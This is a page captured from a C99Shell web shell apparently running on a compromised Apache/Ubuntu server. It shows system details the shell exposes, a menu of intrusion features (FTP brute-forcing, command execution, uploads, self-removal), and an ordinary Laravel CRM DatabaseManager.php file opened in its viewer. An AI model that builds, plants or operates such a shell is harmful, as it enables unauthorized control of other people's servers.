!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Installer/src/Helpers/   drwxrwxrwx
Free 12.98 GB of 57.97 GB (22.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DatabaseManager.php (2.28 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Installer\Helpers;

use 
Exception;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Schema;
use 
Webkul\Installer\Database\Seeders\DatabaseSeeder as KrayinDatabaseSeeder;

class 
DatabaseManager
{
    
/**
     * Check Database Connection.
     */
    
public function isInstalled()
    {
        if (! 
file_exists(base_path('.env'))) {
            return 
false;
        }

        try {
            
DB::connection()->getPDO();

            
$isConnected = (bool) DB::connection()->getDatabaseName();

            if (! 
$isConnected) {
                return 
false;
            }

            
$hasUserTable Schema::hasTable('users');

            if (! 
$hasUserTable) {
                return 
false;
            }

            
$userCount DB::table('users')->count();

            if (! 
$userCount) {
                return 
false;
            }

            return 
true;
        } catch (
Exception $e) {
            return 
false;
        }
    }

    
/**
     * Drop all the tables and migrate in the database
     *
     * @return void|string
     */
    
public function migration()
    {
        try {
            
Artisan::call('migrate:fresh');

            return 
response()->json([
                
'success' => true,
                
'message' => 'Tables is migrated successfully.',
            ]);
        } catch (
Exception $e) {
            return 
response()->json([
                
'error' => $e->getMessage(),
            ], 
500);
        }
    }

    
/**
     * Seed the database.
     *
     * @return void|string
     */
    
public function seeder($data)
    {
        try {
            
app(KrayinDatabaseSeeder::class)->run([
                
'default_locale'     => $data['parameter']['default_locales'],
                
'default_currency'   => $data['parameter']['default_currency'],
            ]);

            
$this->storageLink();
        } catch (
Exception $e) {
            return 
$e->getMessage();
        }
    }

    
/**
     * Storage Link.
     */
    
private function storageLink()
    {
        
Artisan::call('storage:link');
    }

    
/**
     * Generate New Application Key
     */
    
public function generateKey()
    {
        try {
            
Artisan::call('key:generate');
        } catch (
Exception $e) {
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--